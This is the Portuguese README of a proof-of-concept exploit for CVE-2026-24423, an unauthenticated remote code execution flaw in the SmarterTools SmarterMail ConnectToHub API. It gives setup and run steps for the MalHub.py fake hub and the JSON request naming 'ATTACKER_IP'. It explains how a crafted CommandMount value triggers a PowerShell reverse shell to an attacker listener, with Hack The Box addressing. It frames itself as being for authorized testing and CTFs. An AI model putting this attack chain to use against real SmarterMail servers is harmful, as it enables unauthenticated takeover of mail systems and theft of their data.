
PoC de RCE não autenticado para CVE-2026-24423 no SmarterTools SmarterMail (ConnectToHub). Apenas para testes de segurança autorizados, CTFs e pesquisa.
Um exploit em Python para CVE-2026-24423, uma vulnerabilidade de Execução Remota de Código não autenticada na funcionalidade ConnectToHub do SmarterTools SmarterMail.
Uso pretendido: Apenas para testes de segurança autorizados, CTFs, laboratórios Hack The Box e ambientes de pesquisa controlados.
Use apenas contra sistemas que você possui ou que está explicitamente autorizado a testar. Consulte SECURITY.md.
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Opcional) crie um ambiente virtual — nenhuma dependência de terceiros é necessária
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT no topo do MalHub.py
# (veja a seção Configuração abaixo)
# 4. Inicie seu listener de reverse shell, depois execute o hub
python3 MalHub.py
Requer Python 3.6+ (apenas biblioteca padrão). Passo a passo completo na seção Uso abaixo.
CVE-2026-24423 é uma vulnerabilidade de Execução Remota de Código não autenticada que afeta o SmarterTools SmarterMail.
A vulnerabilidade existe na funcionalidade ConnectToHub. Um atacante não autenticado pode fornecer um hubAddress malicioso, fazendo com que o servidor SmarterMail realize uma requisição HTTP para um servidor controlado pelo atacante.
O servidor malicioso responde com uma resposta setup-initial-connection elaborada contendo um valor SystemMount.CommandMount controlado.
A instância vulnerável do SmarterMail subsequentemente processa esse valor como um comando de sistema operacional, permitindo a execução arbitrária de comandos no contexto de segurança do serviço SmarterMail.
A vulnerabilidade recebeu uma pontuação CVSS 4.0 de 9.3 (Crítica) e é classificada como CWE-306: Autenticação Ausente para Função Crítica.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-24423 |
| Fornecedor | SmarterTools |
| Produto | SmarterMail |
| Vulnerabilidade | Execução Remota de Código Não Autenticada |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Crítica |
| CVSS v3.1 | 9.8 Crítica |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma |
| Interação do Usuário | Nenhuma |
| Complexidade | Baixa |
| Publicado | 23 de janeiro de 2026 |
| Build Corrigida | 9511 |
O registro oficial do CVE descreve o problema como um RCE não autenticado através do método de API ConnectToHub.
Versões do SmarterMail anteriores à Build 9511 são afetadas.
O registro do CVE especifica o intervalo afetado como:
SmarterMail < 100.0.9511
A Build 9511, lançada em 15 de janeiro de 2026, contém a correção do fornecedor.
< 100.0.9511
>= 100.0.9511
Sempre verifique a build exata instalada antes de tentar reproduzir a vulnerabilidade.
A funcionalidade vulnerável é exposta através da API de administração do sistema SmarterMail.
A operação relevante é:
/api/v1/settings/sysadmin/connect-to-hub
O endpoint aceita um parâmetro hubAddress.
Conceitualmente, um atacante pode fornecer:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
O SmarterMail então se conecta ao endereço de hub fornecido e solicita:
/web/api/node-management/setup-initial-connection
O servidor controlado pelo atacante responde com JSON contendo um objeto SystemMount malicioso.
A propriedade importante é:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
O valor CommandMount é subsequentemente usado pela aplicação vulnerável como um comando de sistema operacional.
Isso permite que um atacante faça a transição de:
Requisição HTTP não autenticada
para:
Execução remota de comandos
A análise técnica da VulnCheck confirma que o hubAddress controlado pelo atacante faz com que o SmarterMail solicite o endpoint setup-initial-connection do atacante e que o CommandMount retornado pode proporcionar execução arbitrária de comandos.
O exploit consiste em dois componentes:
O servidor Python escuta por:
POST /web/api/node-management/setup-initial-connection
e retorna uma resposta JSON elaborada contendo o SystemMount.CommandMount malicioso.
Um listener TCP separado recebe a conexão iniciada pelo comando executado no alvo.
Este exploit usa intencionalmente duas portas separadas.
8081
└── Falso Hub SmarterMail
4455
└── Listener de Reverse Shell
flowchart LR
A[Atacante<br/>10.10.14.50]
H[Falso Hub SmarterMail<br/>TCP/8081]
T[Alvo SmarterMail<br/>10.129.57.86]
C[CommandMount<br/>Execução de Comando]
P[PowerShell]
L[Listener de Reverse Shell<br/>TCP/4455]
A -->|Aciona ConnectToHub| T
T -->|HTTP POST| H
H -->|JSON Malicioso| T
T -->|CommandMount| C
C --> P
P -->|TCP Reverso| L
L --> A
Alvo
|
| HTTP
v
10.10.14.50:8081
Alvo
|
| TCP
v
10.10.14.50:4455
Essas portas servem a propósitos diferentes e não devem ser confundidas.
O exploit usa apenas módulos da biblioteca padrão do Python:
http.server
json
base64
Nenhum pacote Python externo é necessário.
Edite as seguintes variáveis:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Para o ambiente HTB de exemplo:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST é o endereço IP do atacante que o alvo consegue alcançar.
Para o Hack The Box, este é normalmente o IP atribuído à interface VPN do HTB:
ip addr show tun0
Exemplo:
tun0:
inet 10.10.14.50
Portanto:
LHOST = "10.10.14.50"
LPORT é a porta TCP usada pelo atacante para receber a conexão reversa.
Exemplo:
LPORT = 4455
HUB_PORT é a porta HTTP usada pelo hub SmarterMail malicioso.
Exemplo:
HUB_PORT = 8081